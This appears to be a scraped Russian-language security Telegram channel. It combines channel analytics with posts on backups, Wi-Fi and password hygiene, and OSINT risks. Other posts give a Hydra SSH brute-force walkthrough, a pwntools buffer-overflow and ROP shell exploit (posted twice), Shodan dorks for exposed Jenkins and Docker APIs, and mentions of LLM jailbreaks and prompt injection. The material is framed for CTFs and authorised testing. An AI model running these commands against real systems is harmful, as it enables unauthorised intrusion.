CodeGuard: CyberSec Edition
Канал по ИБ и этичному хакингу. Связь: @Arakcheev_Ruslan Ссылка: @invite_CodeGuard Биржа: https://telega.in/c/+3X56uL4A-UM3Njgy
Show more📈 Analytical overview of Telegram channel CodeGuard: CyberSec Edition
Channel CodeGuard: CyberSec Edition is an active participant. Currently, the community unites 12 526 subscribers, ranking 10 134 in the Technologies & Applications category and 52 701 in the Russia region.
📊 Audience metrics and dynamics
Since its creation on невідомо, the project has demonstrated rapid growth, gathering an audience of 12 526 subscribers.
According to the latest data from 20 June, 2026, the channel demonstrates stable activity. Although there has been a change in the number of participants by 517 over the last 30 days and by 50 over the last 24 hours, overall reach remains high.
- Verification status: Not verified
- Engagement rate (ER): The average audience engagement rate is 12.15%. Within the first 24 hours after publication, content typically collects 6.95% reactions from the total number of subscribers.
- Post reach: On average, each post receives 1 522 views. Within the first day, a publication typically gains 871 views.
- Reactions and interaction: The audience actively supports content: the average number of reactions per post is 4.
- Thematic interests: Content is focused on key topics such as codeguard, pysec, docker, grep, контейнер.
📝 Description and content policy
The author describes the resource as a platform for expressing subjective opinions:
“Канал по ИБ и этичному хакингу.
Связь: @Arakcheev_Ruslan
Ссылка: @invite_CodeGuard
Биржа: https://telega.in/c/+3X56uL4A-UM3Njgy”
Thanks to the high frequency of updates (latest data received on 21 June, 2026), the channel maintains relevance and a high level of publication reach. Analytics show that the audience actively interacts with content, making it an important point of influence in the Technologies & Applications category.
🔵The Tangled Web: A Guide to Securing Modern Web Applications 🔴Silence on the Wire 🔵Metasploit: The Penetration Tester’s Guide 🔴The Car Hacker’s Handbook: A Guide for the Penetration Tester 🔵Practical Forensic Imaging: Securing Digital Evidence with Linux Tools 🔴Android Security Internals: An In‑Depth Guide to Android’s Security Architecture 🔵Gray Hat C#: A Hacker’s Guide to Creating and Automating Security Tools 🔴Practical Malware Analysis: The Hands‑On Guide to Dissecting Malicious Software 🔵iOS Application Security: The Definitive Guide for Hackers and Developers 🔴Black Hat Python: Python Programming for Hackers and Pentesters 🔵Pentesting Azure Applications: The Definitive Guide to Testing and Securing Deployments 🔴Hacking: The Art of Exploitation (2nd Edition) 🔵Serious Cryptography: A Practical Introduction to Modern Encryption 🔴Penetration Testing: A Hands‑On Introduction to Hacking 🔵Attacking Network Protocols: A Hacker’s Guide to Capture, Analysis, and Exploitation➡️ Качаем тут 😈 CodeGuard: PySec Edition | Чат
🔵SSH (порт 22): Частая цель для сканеров в интернете. Подбор пароля к root или пользователю. 🔵FTP (порт 21): Много легаси-систем с простыми паролями для анонимного доступа или 'admin'. 🔵Веб-формы входа: POST/GET-запросы к страницам вроде /login.php. Нужно правильно указать параметры. Telnet, RDP, MySQL, PostgreSQL и другие.Базовый сценарий: Атака на SSH-сервер в локальной сети Допустим, вы нашли в сети устройство с открытым 22-м портом и хотите проверить его на слабые учётные данные. 1️⃣ Подготовка словарей Нужны два файла: список логинов (users.txt) и список паролей (pass.txt). Для начала можно использовать стандартные.
# Создаем простой файл с логинами
echo -e "admin\nroot\nuser\ntest" > users.txt
# Берем известный словарь (например, rockyou)
cp /usr/share/wordlists/rockyou.txt.gz .
gunzip rockyou.txt.gz
head -1000 rockyou.txt > pass.txt # Берём первую тысячу для скорости
2️⃣ Запуск атаки по словарю
Команда для атаки на SSH по протоколу ssh. Указываем цель, логины, пароли и порт.
# Базовая команда для перебора
hydra -L users.txt -P pass.txt ssh://192.168.1.100 -t 4 -V
Ключи: -L (файл логинов), -P (файл паролей), -t (количество потоков), -V (подробный вывод). Hydra начнет перебор и покажет найденные пары.
3️⃣ Работа с результатами
Если пароль найден, Hydra выведет что-то вроде:
[22][ssh] host: 192.168.1.100 login: root password: password123Вывод: На сервере используется хреновый пароль по умолчанию. Устройство скомпрометировано. Как это работает изнутри:
🔵Атака по словарю (Dictionary): Быстрая проверка пароля против заранее подготовленного списка (например, rockyou). 🔵Перебор (Brute-force): Методичный перебор всех возможных комбинаций символов. Задаётся маской, например, -x 'l:6:6:a' для 6 строчных букв. 🔵Комбинированная атака: Можно задать одно значение для логина и перебирать пароли, или наоборот.Профилактика: Как защитить свои сервисы?
🔴Отключайте парольную аутентификацию для SSH. Используйте только ключи. 🔴Настройте fail2ban или аналоги. После N неудачных попыток IP блокируется. 🔴Используйте сложные, длинные пароли. Менеджер паролей - must have. 🔴Не открывайте такие сервисы (FTP, Telnet) в публичный интернет. Держите за VPN или в изолированной сети.😈 CodeGuard: PySec Edition | Чат
"Чистый код" - Роберт Мартин "Совершенный код" - Стив Макконнелл "Программист-прагматик" - Дэвид Томас, Эндрю ХантПервая убивает индусский код в зародыше. Вторая - библия по архитектуре. Третья учит не быть тупым инструментом. 2️⃣ Алгоритмы: Чтобы не изобретать велосипед на собесе
"Алгоритмы: построение и анализ" - Кормен, Лейзерсон "Грокаем алгоритмы" - Адитья БхаргаваКормена надо прорешать. Бхаргава - для визуалов и начала. Без этого ты даже не поймешь, почему твой скрипт тормозит на 10 строках. 3️⃣ Компьютерные системы: Что происходит под капотом
"Компьютерные системы: архитектура и программирование" - Брайант, О'Халларон (CS:APP)Эта хрень свяжет в голове код, память, процессор и сеть. После нее пазл сложится. 4️⃣ Блоги и письма, которые учат мыслить
Paul Graham (paulgraham.com) - про стартапы и мышление Joel on Software (joelonsoftware.com) - фундаментальные статьи о разработке "Филфак" (habr.com/ru/hubs/philosophy/articles) - не ожидал? А зря. Учит формулировать мысли.Читай не туториалы, а рассуждения. Учись аргументировать, а не повторять. 5️⃣ Человеческий фактор: Как не стать социопатом в опенспейсе
"Мифический человеко-месяц" - Фредерик Брукс "Не заставляйте меня думать" - Стив Круг (про UX)Первая - манифест о том, что добавление людей в просроченный проект лишь задержит его. Вечная классика управления. Вторая - must read даже для бэкендера, чтобы понимать, для кого он вообще пишет. 6️⃣ Паттерны и архитектура: Чтобы масштабировать без боли
"Паттерны проектирования" - Банда четырех (Gang of Four) "Чистая архитектура" - Р. МартинПаттерны - это не для галочки, а язык для общения архитекторов. Чистая архитектория - чтобы твой монолит не превратился в спагетти-монстр. ✅ Как читать?
1. Не глотай подряд. Бери одну книгу в квартал. 2. Конспектируй. Пиши свои примеры. 3. Обсуждай. Иди в книжный клуб или пиши рецензии.🔥Итого: Ты - то, что ты читаешь. Читай основу, а не только мануалы к очередному фреймворку-однодневке. 😈 CodeGuard: PySec Edition | Чат
sudo apt install borgbackup
# Создаем репозиторий (локально или на удаленном сервере)
borg init --encryption=repokey /путь/к/репозиторию
# или на удаленке
borg init --encryption=repokey ssh://user@backup.server:/путь/к/репозиторию
3️⃣Первый полный бэкап
export BORG_PASSPHRASE='твой_крепкий_ключ'
borg create --stats --progress /путь/к/репозиторию::сервер-{now} /home /etc /var/www
Где сервер-{now} — имя снапшота. Borg делает дедупликацию, сжимает и шифрует нахуй.
4️⃣Автоматизируем это дерьмо (cron)
# crontab -e
0 2 * * * /usr/bin/borg create --stats /путь/к/репозиторию::сервер-{now:%Y-%m-%d_%H:%M} /home /etc 2>&1
Каждую ночь в 2 часа. Не забывай про BORG_PASSPHRASE в переменных окружения или скрипте.
5️⃣Проверка и листинг, если не проверил, бэкапа нет
borg list /путь/к/репозиторию # Проверяем целостность, чтобы не обосраться borg check /путь/к/репозиторию6️⃣Восстановление (когда всё пошло по пизде)
borg extract /путь/к/репозиторию::сервер-2025-03-29_14:30Выбираешь нужный снапшот и тащишь данные обратно. Не жди момента "ой, блять". 🔄Копия на холодное хранение (Rsync + внешний диск)
rsync -avz --delete /home/user/ /media/user/external_drive/backup/
Раз в неделю суй хуй (диск) в USB и синхронизируй. Дешево и сердито.
🚨 Тестирование — единственный способ не обосраться
Раз в месяц делай учебную тревогу: восстанавливай какой-нибудь каталог на тестовую машину. Если не работает — твой план говно.
💥 Результат: Когда у соседа по дата-центру всё горит, ты спокойно восстанавливаешься и идешь пить кофе.
😈 CodeGuard: PySec Edition | Чат# Пример для WireGuard на телефоне/ноуте # Скачал конфиг с сайта провайдера, закинул в приложение, включил - всё.2️⃣Выруби эту хуйню: общий доступ и авто-коннект
Windows: Панель управления -> Сеть -> Изменение параметров адаптера -> Свойства беспроводной сети -> Выключить "Общий доступ к файлам и принтерам". macOS: Системные настройки -> Общий доступ -> Убери все галочки. Телефон: Настройки -> Wi-Fi -> Отключи "Автоподключение" к открытым сетям.3️⃣HTTPS Everywhere - базовая гигиена Убедись, что в браузере стоит HTTPS-Only режим. Видишь в адресной строке открытый замок или "Не защищено"? Закрой эту пиздоглазую вкладку и больше не заходи. 4️⃣Двухфакторная аутентификация (2FA) ВЕЗДЕ Даже если спалят пароль в открытой сети, без кода из приложения или ключа - нихуя не сделают. Используй TOTP (Google Authenticator, Aegis) или аппаратные ключи (YubiKey). 5️⃣Не делай ничего важного. Серьёзно. Не логинься в банк, не вводи данные карты, не работай с почтой, где есть доступ к чему-то важному. Отложи это, пока не будешь на своём LTE или домашнем интернете. Общественный Wi-Fi - только для просмотра херни. 6️⃣Фаервол и антивирус - включи, блять Даже на телефоне. Заблокируй все входящие подключения в настройках фаервола. Это отсечёт попытки доступа к тебе из локальной сети кафешного роутера. ✅Итоговый чек-лист перед подключением:
1. VPN включен и работает (проверил на ipleak.net). 2. Файрвол включен. 3. Отключен общий доступ. 4. В браузере горит HTTPS-Only. 5. Не открываешь банк и почту. 6. Сидишь и смотришь ютуб/читаешь новости. Всё.💥Результат: твой трафик - непрочитанная шифровка для любого соседа по сети. Спи спокойно. 😈 CodeGuard: PySec Edition | Чат
🔴Фото документов и билетов. Даже в сторис. Штрих-код на авиабилете? По нему можно получить доступ к брони. Серия и номер паспорта? Это уже половина дела для мошенника. Вы что, долбоёбы? 🔴Данные о месте жительства в реальном времени. "Вот я у себя дома один, вот вид из моего окна". Поздравляю, вы только что дали наводку ворам или сталкеру. Геометки с дома, школы детей, регулярных маршрутов — это самоубийство. 🔴Информацию, которая отвечает на контрольные вопросы. Девичья фамилия матери? Кличка первого питомца? Любимый фильм? Это же стандартные вопросы для восстановления пароля! Выкладывая это, вы сами вручаете ключи от своих аккаунтов. 🔴Фото рабочих пропусков, визиток с корпоративной почтой. Это готовый сценарий для целевой фишинг-атаки на вашу компанию. "Привет, я Иван из отдела, вот моя почта, срочно переведи деньги". И понеслась. 🔴Чеки и штрих-коды с покупок. С них иногда можно слить данные карты, номер заказа, ваши персональные данные. Просто зачем, а?Реальный сценарий: как из вашей "милой" публикации делают развод Выложил фото в инсту: "Ура, завтра лечу в отпуск!" + геометка дома + вид на аэропорт. 1. Злоумышленник видит это. Он знает, где вы живете и что вас не будет дома. 2. Он находит ваш профиль в другом сервисе, где вы писали кличку собаки (контрольный вопрос). 3. Через "Восстановление пароля" он получает доступ, например, к вашей почте. 4. В почте ищет письма от банка или подтверждения заказов. 5. Профит: либо заказ такси/еды на ваш адрес с карты, привязанной к аккаунту, либо реальный визит в вашу пустующую квартиру. Как это работает изнутри: сбор информации (OSINT)
🔵Пассивный сбор. Мошеннику не нужно взламывать ничего. Вы сами выкладываете всё в открытый доступ. Соцсети, форумы, маркетплейсы — всё это складывается в единый пазл. 🔵Социальная инженерия. Используя ваши увлечения, имена родных, клички питомцев, злоумышленник может вам позвонить или написать, представившись знакомым, и выманить деньги или данные. 🔵Кросс-платформенный анализ. Один и тот же никнейм, аватарка или фото в ВК, Телеге, Гитхабе и на форуме геймеров позволяют собрать о вас полное досье.Профилактика: Как не быть идиотом?
🔴Забудьте про геометки. Отключите их везде. Отмечайте места только постфактум и без привязки к дому. 🔴Настройте приватность. Закройте профили, особенно с личными фото и данными, от посторонних. Друзья друзей — это тоже посторонние. 🔴Не отвечайте на дурацкие опросы. "Твое имя наоборот", "Имя первого учителя", "Девичья фамилия матери" — это не интерактив, это сбор данных. Вы же не оставляете пин-код от карты в комментариях? 🔴Проверяйте фон на фото. Перед публикацией фото дома или офиса убедитесь, что на столе, мониторе или доске нет ничего важного: паролей, документов, номеров телефонов. 🔴Используйте менеджеры паролей и 2FA. Даже если кто-то узнает ответ на ваш секретный вопрос, без второго фактора (код из приложения) он не зайдёт. KeePass, Bitwarden, Aegis — ваши новые лучшие друзья.😈 CodeGuard: PySec Edition | Чат
🔵Повторение паролей: Взломали один сервис — получили ключи ко всем твоим аккаунтам. Тупость чистой воды. 🔵Простые комбинации: Даты рождения, имена, последовательности клавиш. Боты перебирают эту хуйню за миллисекунды. 🔵Короткие пароли: Меньше 12 символов — это уже не пароль, а приглашение.Правильный подход: генерация неуязвимых паролей Нужны не запоминаемые, а уникальные и случайные последовательности. 1️⃣ Используй менеджер паролей Это не опция, а необходимость. KeePassXC, Bitwarden, 1Password, выбирай любой. Они создают криптостойкие пароли.
# Пример генерации в Bitwarden через CLI (условно)
bw generate --length 20 --uppercase --lowercase --number --special
Получишь что-то вроде: g7#Q!pL2@z9$vR5*mX8&
2️⃣ Метод "diceware" для мастер-пароля
Мастер-пароль к менеджеру должен быть единственным, который ты запоминаешь. Используй метод diceware: 5-7 случайных слов через дефис.
Пример: правильный-геймер-бензопила-радуга-42Длинно, бессмысленно для других, легко запомнить. 3️⃣ Никогда не храни в браузере Встроенные менеджеры браузеров — это дырявое дерьмо. Они синхронизируют пароли в облако, которое могут выкачать. Как это работает изнутри:
🔵Менеджер хранит пароли в зашифрованной базе. Ключ шифрования твой мастер-пароль. Без него это просто куча мусора. 🔵Автозаполнение работает только после разблокировки базы. Нет мастер-пароля = нет доступа, даже если файл базы украли. 🔵Синхронизация через облако (у Bitwarden, 1Password) зашифрованные данные летят по сети. Провайдер не видит твоих паролей.Профилактика: жёсткие правила
🔴Длина минимум 16 символов для важных аккаунтов (почта, банк). Случайный набор: буквы (заглавные и строчные), цифры, спецсимволы. 🔴Уникальный пароль для КАЖДОГО сервиса. Менеджер делает это тривиальным. 🔴 Включи двухфакторную аутентификацию (2FA) везде, где есть. Идеально - аппаратный ключ (YubiKey) или TOTP (Google Authenticator, Aegis). 🔴Регулярно проверяй, не слили ли твои данные в утечках (haveibeenpwned.com). Меняй пароли при малейшем подозрении.😈 CodeGuard: PySec Edition | Чат
# 1. Определение Scope (что можно атаковать)
# 2. Пассивная разведка (SpiderFoot, ShodanX, theHarvester)
# 3. Активное сканирование (Nmap, Nuclei, Nessus)
# 4. Эксплуатация (Metasploit, custom exploits)
# 5. Документирование (Dradis, Serpico, отчёты)
Минимальный стек инструментов:
▶️ Разведка: SpiderFoot, ShodanX, Amass
▶️ Сканирование: Nmap, Masscan, Nuclei
▶️ Эксплуатация: Metasploit, SQLmap, Burp Suite Pro
▶️ Пост-эксплуатация: Mimikatz, BloodHound, Cobalt Strike
▶️ Отчётность: Dradis, PlexTrac, LaTeX-шаблоны
🛡 Современные векторы атак 2026:
# Cloud-native атаки (AWS/Azure/GCP)
- Уязвимости контейнеров (Kubernetes, Docker)
- Неправильные конфигурации S3 buckets, IAM roles
- Serverless function injection
# IoT/OT пентестинг
- Прошивки устройств, кастомные протоколы
- Промышленные контроллеры (SCADA, PLC)
# Мобильные приложения
- Статический/динамический анализ (MobSF, Frida)
- Reverse engineering iOS/Android apps
# Атаки через AI
- Jailbreak LLM-систем
- Prompt injection в AI-ассистентов
- Data poisoning атак
📊 Методологии и стандарты:
- PTES (Penetration Testing Execution Standard) — полный цикл
- OWASP Testing Guide — для веб-приложений
- NIST SP 800-115 — техническое руководство по тестированию
- PCI DSS — для платежных систем
- CREST — для сертифицированных провайдеров
🔧 Интеграция в DevSecOps:
# Пример пайплайна в GitLab CI
stages:
- recon
- scanning
- exploitation
- reporting
pentest:
stage: exploitation
script:
- nuclei -u $TARGET -t cves/ -o nuclei_report.json
- sqlmap -u "$TARGET/api" --batch --level=3
only:
- schedules # Запуск по расписанию
artifacts:
paths:
- ./*_report.json
📌 Когда заказывать пентест:
🟢 После крупных изменений в инфраструктуре
🟢 Перед запуском нового продукта/сервиса
🟢 По требованию compliance (PCI DSS, ISO 27001)
🟢 После инцидентов безопасности
🟢 Регулярно (ежегодно/полугодично)
📚 Ресурсы для обучения:
🟢 Certifications: OSCP, GPEN, PNPT, CRTP
🟢 Лаборатории: HackTheBox, TryHackMe, PentesterLab
🟢 Книги: "The Hacker Playbook 3", "Advanced Penetration Testing"
🟢 Сообщества: Reddit /r/netsec, Discord-сервера, конференции (BlackHat, DEF CON)
😈 CodeGuard: PySec Edition | Чат▶️ CTF-мод — автоматизируем всё, что движется: от брута флагов до ROP-цепочек Шеллкод на коленке — генерируем, пакуем и тестим без лишних телодвижений ▶️ Работа с бинарником — ищем гаджеты, дырявим GOT/PLT, дизлайбим либы ▶️ Сетевое общение — TCP/UDP, шелл, SSH — общаемся с жертвой как с другом ▶️ Дебёг как бог — GDB-интеграция, брейкпоинты, трассировка без слёз💻 Ставим эту магию (Python 3.6+ или иди нахуй):
pip install pwntools # если не сломалось — ты счастливчик
🚀 Быстрый старт (для тех, кто не любит читать мануалы):
Простой пример — подключиться к серверу и получить флаг:
from pwn import *
# Подключаемся к таске
conn = remote('ctf.example.com', 1337)
# Ждём приветствия
conn.recvuntil(b'Enter password:')
# Шлём наш гениальный эксплоит
conn.sendline(b'A' * 64 + p64(0x401152)) # переполнение буфера + адрес победы
# Получаем флаг и улыбаемся
print(conn.recvall().decode())
🛠 Продвинутые фишки (когда нужно выебать ядро):
ROP-цепочка для обхода DEP:
from pwn import *
context.binary = './vuln'
# Автоматически ищем гаджеты
rop = ROP(context.binary)
rop.execve(next(context.binary.search(b'/bin/sh')), 0, 0)
# Собираем полезную нагрузку
payload = flat(
b'A' * 64,
rop.chain()
)
# Отправляем и получаем шелл
io = process('./vuln')
io.sendline(payload)
io.interactive() # welcome to root!
Интеграция с GDB (для параноиков):
io = gdb.debug('./vuln', gdbscript='''
break *main+0x42
continue
''')
# Смотрим дамп памяти после краша
io.wait()
core = io.corefile
print(hex(core.rsp)) # где упал — там и ищи сокровища
📌 Когда использовать эту хрень:
🔴 CTF — если надоело вручную собирать эксплоиты 🔴 Баг-баунти — тестируем веб-сервисы на устойчивость к пиздецу 🔴 Образование — учимся эксплоитингу без скучных мануалов 🔴 Исследования — разбираемся, как ломаются бинарники вживую⚠️Предупреждение (шоб мусора не навести):
🔵Используй только на своих тасках или с разрешения владельца 🔵Не забывай про context.log_level = 'debug' — иногда полезно увидеть, что там внутри творится 🔵Если эксплоит не работает — это не баг, это фича. Перечитай доки.💡 Совет: Начни с локальных бинарников из CTF-тасок — так безопаснее и проще понять, как эта бандура работает. А потом уже можно и на реальные цели переходить (если разрешили, конечно). 😈 CodeGuard: PySec Edition | Чат
▶️ CTF-мод — автоматизируем всё, что движется: от брута флагов до ROP-цепочек Шеллкод на коленке — генерируем, пакуем и тестим без лишних телодвижений ▶️ Работа с бинарником — ищем гаджеты, дырявим GOT/PLT, дизлайбим либы ▶️ Сетевое общение — TCP/UDP, шелл, SSH — общаемся с жертвой как с другом ▶️ Дебёг как бог — GDB-интеграция, брейкпоинты, трассировка без слёз💻 Ставим эту магию (Python 3.6+ или иди нахуй):
pip install pwntools # если не сломалось — ты счастливчик
🚀 Быстрый старт (для тех, кто не любит читать мануалы):
Простой пример — подключиться к серверу и получить флаг:
from pwn import *
# Подключаемся к таске
conn = remote('ctf.example.com', 1337)
# Ждём приветствия
conn.recvuntil(b'Enter password:')
# Шлём наш гениальный эксплоит
conn.sendline(b'A' * 64 + p64(0x401152)) # переполнение буфера + адрес победы
# Получаем флаг и улыбаемся
print(conn.recvall().decode())
🛠 Продвинутые фишки (когда нужно выебать ядро):
ROP-цепочка для обхода DEP:
from pwn import *
context.binary = './vuln'
# Автоматически ищем гаджеты
rop = ROP(context.binary)
rop.execve(next(context.binary.search(b'/bin/sh')), 0, 0)
# Собираем полезную нагрузку
payload = flat(
b'A' * 64,
rop.chain()
)
# Отправляем и получаем шелл
io = process('./vuln')
io.sendline(payload)
io.interactive() # welcome to root!
Интеграция с GDB (для параноиков):
io = gdb.debug('./vuln', gdbscript='''
break *main+0x42
continue
''')
# Смотрим дамп памяти после краша
io.wait()
core = io.corefile
print(hex(core.rsp)) # где упал — там и ищи сокровища
📌 Когда использовать эту хрень:
🔴 CTF — если надоело вручную собирать эксплоиты 🔴 Баг-баунти — тестируем веб-сервисы на устойчивость к пиздецу 🔴 Образование — учимся эксплоитингу без скучных мануалов 🔴 Исследования — разбираемся, как ломаются бинарники вживую⚠️Предупреждение (шоб мусора не навести):
🔵Используй только на своих тасках или с разрешения владельца 🔵Не забывай про context.log_level = 'debug' — иногда полезно увидеть, что там внутри творится 🔵Если эксплоит не работает — это не баг, это фича. Перечитай доки.💡 Совет: Начни с локальных бинарников из CTF-тасок — так безопаснее и проще понять, как эта бандура работает. А потом уже можно и на реальные цели переходить (если разрешили, конечно). 😈 CodeGuard: PySec Edition | Чат
▶️ Модульная разведка — 15+ специализированных команд для доменов, поддоменов, SSL, организаций ▶️ Работа с базами Shodan — доступ к CVE Database, EntityDB, ExposureDB, FaviconMap ▶️ Визуализация данных — географическое отображение (map) exposed-сервисов по миру ▶️ Расширенные запросы — поддержка кастомных dorks и фильтров Shodan ▶️ Пассивное обнаружение — поиск поддоменов через DNS-данные Shodan без прямого взаимодействия с целью ▶️ Интеграция с InternetDB — быстрый анализ IP и доменов через lightweight API Shodan✨ Быстрый старт с ShodanX: Установка (требуется Python 3.13+):
pip install git+https://github.com/RevoltSecurities/ShodanX --break-system-packages
Первоначальная настройка:
# 1. Сохраняем API-ключ Shodan
shodanx auth
# 2. Логин через session cookie (для премиум-функций)
shodanx login
# Куки копируем из DevTools: .shodan.io → session
# 3. Проверяем доступ
shodanx login
Базовые команды разведки:
# Разведка по домену (порты, хосты, метаданные)
shodanx domain example.com
# Пассивный поиск поддоменов
shodanx subdomain example.com
# Поиск по SSL-отпечатку (tracking reused certs)
shodanx ssl <sha1_fingerprint>
# Организационный поиск (использование facets)
shodanx org "Company Name"
# Поиск уязвимых систем через CVE
shodanx cvedb CVE-2024-12345
🔍 Продвинутые сценарии:
Географическая визуализация exposed-сервисов:
# Требуется премиум-подписка Shodan
shodanx map "port:22 country:RU"
Кастомные dorks для bug bounty:
# Поиск Jenkins без аутентификации
shodanx custom 'http.component:jenkins "200 OK"'
# Поиск открытых Docker API
shodanx custom 'product:docker port:2375'
Трекинг инфраструктуры через favicon:
# Поиск систем по уникальному фавикону
shodanx faviconmap <favicon_hash>
📌 Когда использовать ShodanX:
🔴 Расширение атакуемой поверхности — автоматический поиск забытых сервисов и поддоменов
🔴 Подготовка к внешнему пентесту — разведка открытых портов и технологий цели
🔴 Threat Intelligence — мониторинг эксплойтов в дикой природе через CVE-привязку
🔴 Исследование IoT/инфраструктуры — картографирование сетей по организациям и странам
🔴 Расследование инцидентов — поиск следов компрометации в открытых источниках
🛠 Интеграция в пайплайн:
# Пример скрипта для автоматической разведки
#!/bin/bash
DOMAIN=$1
echo "[*] Starting ShodanX reconnaissance for $DOMAIN"
shodanx domain $DOMAIN > domain_scan.json
shodanx subdomain $DOMAIN > subdomains.txt
shodanx ssl $(get_ssl_fingerprint $DOMAIN) > ssl_assets.json
# Дальнейшая обработка через jq, grep и т.д.
⚠️ Требования и ограничения:
🔴 API-ключ Shodan обязателен (бесплатный аккаунт — 100 запросов/месяц)
🔴 Session cookie нужен для функций map и trends (премиум-подписка)
🔴 Shodan Enterprise требуется для модуля trends (анализ исторических данных)
🔴 Python 3.13+ — более старые версии не поддерживаются
📌 Ссылка на репозиторий
💡 Совет: Начните с бесплатного API-ключа Shodan, чтобы оценить возможности. Для серьезной работы потребуется платная подписка ($59/месяц), но даже бесплатный лимит позволяет проводить точечную разведку.
😈 CodeGuard: PySec Edition | Чат🔵Разведка и картография 🔵Социальная инженерия 🔵Скрытность и импланты 🔵Защита от атрибуцииНравятся книга? ❤️ — Да 🔥 — Нет 👩💻 Кликай и качай 😈 CodeGuard: PySec Edition | Чат
🟢 Декомпиляция в читаемый псевдокод 🟢Анализ ELF / PE / Mach‑O 🟢 Автоматизация и скрипты 🟢Кроссплатформенность 🟢 Open Source от NSA🧠 Зачем она нужна
➡️ Реверс-инжиниринг и аудит безопасности ➡️Анализ вредоносного ПО ➡️ Изучение low‑level логики ➡️ Обучение и практика ➡️ Бесплатная альтернатива IDA Pro🧪 Использование из терминала Запуск Ghidra:
./ghidraRun
Анализ бинарника в headless‑режиме (без GUI):
./analyzeHeadless ~/ghidra_projects test_project \
-import ./binary \
-analysisTimeoutPerFile 60
Запуск анализа с авто‑декомпиляцией:
./analyzeHeadless ~/ghidra_projects test_project \
-import ./binary \
-postScript DecompileAllFunctions.java
Удаление проекта:
rm -rf ~/ghidra_projects/test_project
🔗 Исходники
😈 CodeGuard: PySec Edition | Чат
Available now! Telegram Research 2025 — the year's key insights 
